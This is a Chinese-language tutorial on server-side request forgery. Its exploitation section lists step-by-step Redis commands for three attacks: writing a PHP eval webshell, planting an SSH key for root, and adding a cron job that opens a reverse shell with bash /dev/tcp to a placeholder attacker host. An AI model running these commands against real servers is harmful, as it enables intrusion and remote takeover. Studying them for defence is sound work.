SSRF 服务端请求伪造 漏洞
0x00 SSRF 漏洞概述
SSRF漏洞概述
-
SSRF( Server- side Request Forge,服务端请求伪造 )是一种由攻击者构造 形成由服务端发起请求 的安全漏洞。一般
情况下,SSRF攻击的目标是从外网无法访问的内部系统 。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。 -
存在漏洞的位置:
-
分享:通过URL地址分享网页内容
-
转码服务
-
在线翻译
-
图片加载与下载:通过∪RL地址加载或下载图片
-
图片、文章收藏功能、
-
未公开的api实现以及其他调用URL的功能
-
从URL关键字中寻找
-
-
举例(以百度识图为例
-
用户可以从本地或者URL的方式获取图片资源,交给百度识图处理。如果提交的是URL地址,该应用就会通过URL寻找图片资源。
-
web应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤 ,就可能存在“请求伪造”的缺陷
相关危险函数
- SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取 的函数。以PHP为例,涉及到的函数有
-
file_get_contents():是把文件写入字符串 ,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致文件读取
-
fsockopen():fsockopen是打开一个网络连接或者Unix套接字连接
-
curl_exec():利用方式很多,最常见的是通过file、dict、 gopher 这三个协议来进行渗透
0x01 SSRF 漏洞原理
- SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制 。
0x02 SSRF 漏洞危害
-
端口扫描
-
内网Web应用指纹识别
-
攻击内网Web应用
0x03 SSRF 漏洞防御
-
限制请求的端口只能为web端口 ,只允许访问HTTP和Https的请求
-
设置白名单 ,或限制内网IP ,以防止对内网进行攻击
-
禁止30x跳转
-
屏蔽返回的详细信息
0x04 SSRF 漏洞利用
获取正常文件
Redis配合 gopher协议进行SSRF
-
Gopher协议概述
-
Gopher协议是HTTP协议出现之前,在 Internet上常见且常用的一个协议,不过现在 gopher协议用得已经越来越少
-
Gopher协议可以说是SSRF中的万金油,利用此协议可以攻击内网的 redis、ftp 等等,也可以发送GET、POST请求 ,极大拓宽了SSRF的攻击面。
-
gopher协议三个特点
-
第一个字符默认不接受,为了统一用 _ 代替
-
换行用%0d%0a代替
-
特殊字符要变成对应的两次url编码 (空格、?)
-
利用条件:能未授权或者通过弱口令认证访问到 Redis服务器
-
redis数据库特点
-
未授权访问 。在访问 redis数据库时,不需要提供用户名和密码
-
具有root权限
-
可以读写文件
-
默认端口号为:6379
redis数据库常用操作
redis 6379 非关系型数据库
缓存型数据库==》速度特别快
redis(未授权访问)=》不用输用户名密码直接访问数据库并且可以做一些管理操作
连接redis数据库:redis-cli -h IP
查看当前存储数据路径:config get dir
查看当前存储数据的文件:config get dbfilename
修改当前存储数据路径:config set dir 路径
修改存储数据的文件名:config set dbfilename 文件名
写数据:set a '<?php phpino();?>' //a是键名,随便起
保存: save
还原为默认值:flushall
(1)绝对路径写webshell
1. config set dir 网站绝对路径
2. config set dbfilename 1.php
3. set b '<?php @eval($_POST[1]);?>'
4. save
(2)写ssh公钥
-
公钥存储路径固定一般在 .ssh/authorized_keys
-
windows中公钥存储路径在c:/用户/用户名/.ssh/
-
linux中公钥存储路径在root/.ssh
1. 本地生成公私钥:ssh-keygen
2. config set dir root/.ssh
3. config set dbfilename authorized_keys
4. set b '生成的公钥文件中的值' //cat id_rsa.pub | redis-cli -h 192.168.23.190 -x set a(仅供参考)
//写的时候注意加入换行(不换行会影响公钥使用)
5. save
6. 在自己机器上ssh -i 私钥路径 root@服务器IP
(3)写计划任务反弹shell
- 计划任务规则:*/1 * * * * 分时日月周 bash -i >& /dev/tcp/ip/port 0>&1
1. config set dir /var/spool/cron
2. config set dbfilename a
3. set a "\n\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1\n\n\n"
4. save
(4)主从复制
-
两台redis服务器绑定主从关系,主节点负责写,从节点负责读
-
从节点是要攻击的redis服务,从节点是我们要保存数据的redis服务
-
在从节点上绑定关系:slaveof 自己redis服务的ip 6379
0x05 SSRF 漏洞挖掘
-
寻找传递url这些参数
-
尝试给他127.0.0.1看他能不能发起请求
-
给他内网ip (找服务器对应的内网ip段 根据超时时间、响应内容等)
-
端口扫描(dict://)、主机探测
-
攻击内网主机(探测到的内网主机)